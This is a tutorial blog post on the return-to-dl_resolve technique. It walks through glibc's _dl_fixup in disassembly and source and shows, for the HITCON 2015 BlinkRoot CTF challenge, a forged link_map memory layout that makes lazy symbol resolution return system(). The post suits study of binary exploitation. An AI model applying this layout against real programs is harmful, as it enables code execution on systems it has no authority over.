Extra Exploitation Technique: return-to-dl_resolve

Introduction

In the beginning of the tutorial, I introduce the ELF Format and mention that there exist some exploitation techniques on that. In this post, I will introduce the ret-2-dl_resolve technique based on source code of glibc. Furthermore, I will give a more detailed explanation at binary level for explaining the memory layout during exploitation based on ld-2.19.

Background

In my post on ELF format, I explain how to resolve the symbols in an ELF format and the mechanism of lazy binding. In that post, I mention about the function _dl_runtime_resolve as below and say that this function is responsible for resolving function symbol and put the address of requested function into GOT.

   0x00007fd7b16e0670 <+0>:	sub    $0x38,%rsp
   0x00007fd7b16e0674 <+4>:	mov    %rax,(%rsp)
   0x00007fd7b16e0678 <+8>:	mov    %rcx,0x8(%rsp)
   0x00007fd7b16e067d <+13>:	mov    %rdx,0x10(%rsp)
   0x00007fd7b16e0682 <+18>:	mov    %rsi,0x18(%rsp)
   0x00007fd7b16e0687 <+23>:	mov    %rdi,0x20(%rsp)
   0x00007fd7b16e068c <+28>:	mov    %r8,0x28(%rsp)
   0x00007fd7b16e0691 <+33>:	mov    %r9,0x30(%rsp)
   0x00007fd7b16e0696 <+38>:	mov    0x40(%rsp),%rsi
   0x00007fd7b16e069b <+43>:	mov    0x38(%rsp),%rdi
   0x00007fd7b16e06a0 <+48>:	callq  0x7fd7b16d9600 <_dl_fixup>
   0x00007fd7b16e06a5 <+53>:	mov    %rax,%r11
   0x00007fd7b16e06a8 <+56>:	mov    0x30(%rsp),%r9
   0x00007fd7b16e06ad <+61>:	mov    0x28(%rsp),%r8
   0x00007fd7b16e06b2 <+66>:	mov    0x20(%rsp),%rdi
   0x00007fd7b16e06b7 <+71>:	mov    0x18(%rsp),%rsi
   0x00007fd7b16e06bc <+76>:	mov    0x10(%rsp),%rdx
   0x00007fd7b16e06c1 <+81>:	mov    0x8(%rsp),%rcx
   0x00007fd7b16e06c6 <+86>:	mov    (%rsp),%rax
   0x00007fd7b16e06ca <+90>:	add    $0x48,%rsp
   0x00007fd7b16e06ce <+94>:	jmpq   *%r11

In this post, I will start from function _dl_fixup. In the appendix of this post, I paste the source code of _dl_fixup in glibc-2.25. Function _dl_fixup takes two arguments from its caller. The first is the address of link_map, the second is the index of requested function.
In return-to-dl_resolve attack, there are two methods to get requested function.
(1) Overwrite the index of requested function to the index of requested function. But this method only applies to the situation where the requested function is also used in the vulnerable target.
(2) Craft a fake link_map and overwrite the link_map pointer to the crafted link_map.
Generally speaking, method (1) is more straightforward and trivial but has limitation; method (2) is a bit complicated but more more flexible.

In the next, I will only discuss method (2) and demonstrate how to prepare memory layout based on HITCON 2015 BlinkRoot challenge.

Return-to-dl_resolve Attack

As noted above, we only consider the situation where the attacker is able to corrupt the map_link pointer but unable to control the index of requested function.

Below we list the expected execution flow (the shorted execution path) in _dl_fixup in BlinkRoot challenge. For a better understanding of the binary, I have added the comments about the relationship between register and variables. More details can be found in the source code of glibc.

_dl_dixup:
   0x00007ff534b45600 <+0>:	push   %r12
   0x00007ff534b45602 <+2>:	mov    %rdi,%rax
   0x00007ff534b45605 <+5>:	mov    %esi,%esi
   0x00007ff534b45607 <+7>:	lea    (%rsi,%rsi,2),%rcx
   0x00007ff534b4560b <+11>:	push   %rbp
   0x00007ff534b4560c <+12>:	push   %rbx
   0x00007ff534b4560d <+13>:	sub    $0x20,%rsp
   0x00007ff534b45611 <+17>:	mov    0x68(%rdi),%rdx  //rdx:l->linfo[5]
   0x00007ff534b45615 <+21>:	mov    0x70(%rax),%rsi  //rsi:l->linfo[6]
   0x00007ff534b45619 <+25>:	mov    0x8(%rdx),%rdi   //rdi:*strtab
   0x00007ff534b4561d <+29>:	mov    0xf8(%rax),%rdx  //rdx:l->linfo[23]
   0x00007ff534b45624 <+36>:	mov    0x8(%rsi),%rsi   //rsi:*symtab
   0x00007ff534b45628 <+40>:	mov    0x8(%rdx),%rdx
   0x00007ff534b4562c <+44>:	lea    (%rdx,%rcx,8),%r8  //r8:*reloc
   0x00007ff534b45630 <+48>:	mov    0x8(%r8),%rcx    //rcx:reloc->r_info
   0x00007ff534b45634 <+52>:	mov    %rcx,%rdx
   0x00007ff534b45637 <+55>:	shr    $0x20,%rdx
   0x00007ff534b4563b <+59>:	lea    (%rdx,%rdx,2),%r9
   0x00007ff534b4563f <+63>:	lea    (%rsi,%r9,8),%rsi  //rsi:*sym
   0x00007ff534b45643 <+67>:	mov    (%rax),%r9     //r9:l->l_addr
   0x00007ff534b45646 <+70>:	mov    %rsi,0x18(%rsp)
   0x00007ff534b4564b <+75>:	mov    %r9,%rbx
   0x00007ff534b4564e <+78>:	add    (%r8),%rbx     //[r8]:reloc->r_offset rbx: rel_addr
   0x00007ff534b45651 <+81>:	cmp    $0x7,%ecx      //assert compare
   0x00007ff534b45654 <+84>:	jne    0x7ff534b4578c <_dl_fixup+396> //(no jump)
   0x00007ff534b4565a <+90>:	testb  $0x3,0x5(%rsi)
   0x00007ff534b4565e <+94>:	jne    0x7ff534b457ab <_dl_fixup+427> //(jump)
   
   0x00007ff534b45732 <+306>:	movzbl 0x4(%rsi),%edx
   0x00007ff534b45736 <+310>:	add    0x8(%rsi),%rax
   0x00007ff534b4573a <+314>:	and    $0xf,%edx
   0x00007ff534b4573d <+317>:	cmp    $0xa,%dl
   0x00007ff534b45740 <+320>:	je     0x7ff534b457fa <_dl_fixup+506> //(no jump)
   0x00007ff534b45746 <+326>:	mov    0x2135bc(%rip),%edx        # 0x7ff534d58d08 <_rtld_global_ro+72>
   0x00007ff534b4574c <+332>:	test   %edx,%edx
   0x00007ff534b4574e <+334>:	jne    0x7ff534b45753 <_dl_fixup+339> //(no jump)
   0x00007ff534b45750 <+336>:	mov    %rax,(%rbx) // write resolved value into got
   0x00007ff534b45753 <+339>:	add    $0x20,%rsp
   0x00007ff534b45757 <+343>:	pop    %rbx
   0x00007ff534b45758 <+344>:	pop    %rbp
   0x00007ff534b45759 <+345>:	pop    %r12
   0x00007ff534b4575b <+347>:	retq  
  
   0x00007ff534b457ab <+427>:	mov    %r9,%rax
   0x00007ff534b457ae <+430>:	jmp    0x7ff534b45732 <_dl_fixup+306> //(jump)

In return-to-dl_resolve attack, we usually have no method to leak the base address of glibc, therefore are unable to calculate the address of desired function directly. In BlinkRoot we rely on the existing glibc function in GOT to calculate the address of system.

Based on the binary given above, we plan to corrupt the link pointer to 0x600d00, and prepare the memory layout as below:

//fake l->l_addr
0x600d00 <data+320>: [0x0000000000024870]	0x0000000000000040
0x600d10 <data+336>:	0x0000000000000040	0x0000000000000040
0x600d20 <data+352>:	0x0000000000000040	0x0000000000000040
0x600d30 <data+368>:	0x0000000000000040	0x0000000000000040
0x600d40 <data+384>:	0x0000000000000040	0x0000000000000040
0x600d50 <data+400>:	0x0000000000000040	0x0000000000000040
//fake l->linfo[5]
0x600d60 <data+416>:	0x0000000000000040 [0x0000000000600e00]
//fake l->linfo[6]
0x600d70 <data+432>: [0x0000000000600e08] 0x0000000000000041
0x600d80 <data+448>:	0x0000000000000041	0x0000000000000041
0x600d90 <data+464>:	0x0000000000000041	0x0000000000000041
0x600da0 <data+480>:	0x0000000000000041	0x0000000000000041
0x600db0 <data+496>:	0x0000000000000041	0x0000000000000041
0x600dc0 <data+512>:	0x0000000000000041	0x0000000000000041
0x600dd0 <data+528>:	0x0000000000000041	0x0000000000000041
0x600de0 <data+544>:	0x0000000000000041	0x0000000000000041
0x600df0 <data+560>:	0x0000000000000041	0x0000000000600e10
//fake strtab no use in the exploit
0x600e00 <data+576>:	0x0000000000000042 [0x0000000000000043]
//fake symtab and fake reloc
0x600e10 <data+592>: [0x0000000000600b78][0x0000000000600e18]
0x600e20 <data+608>:	0x0000000000000044	0x0000000000000044
//fake reloc->r_offset and fake reloc->r_info
0x600e30 <data+624>: [0x00000000005dc2f0] [0x0000000000000007]

In the memory layout given above, we craft the variable symtab to 0x600b78, which points the GOT of image file. Through the execution flow, it wll fetch the value stored at __libc_start_main@got.plt and calculate the value of system later.
The resolved function address will be put into rax and later call the resolved function in _dl_runtime_resolve. In my write-up on BlinkRoot, I manage to write the value back into puts@got.plt. But it’s actually unnecessary, since the resolved function will be directly invoked.

Conclusion

Return-to-dl_resolve method provides attacker a method to call desired function when there is no way to leak the sensitive function in memory. However, according to my analysis on Flash Exploitation, there exists a more general and reliable method to leak the address of critical function in target binary. Maybe I can put it into my future plan.

Appendix

Source code _dl_fixup:

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      /* We need to keep the scope around so do some locking.  This is
	 not necessary for objects which cannot be unloaded or when
	 we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
				   sym ? (LOOKUP_VALUE_ADDRESS (result)
					  + sym->st_value) : 0);
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.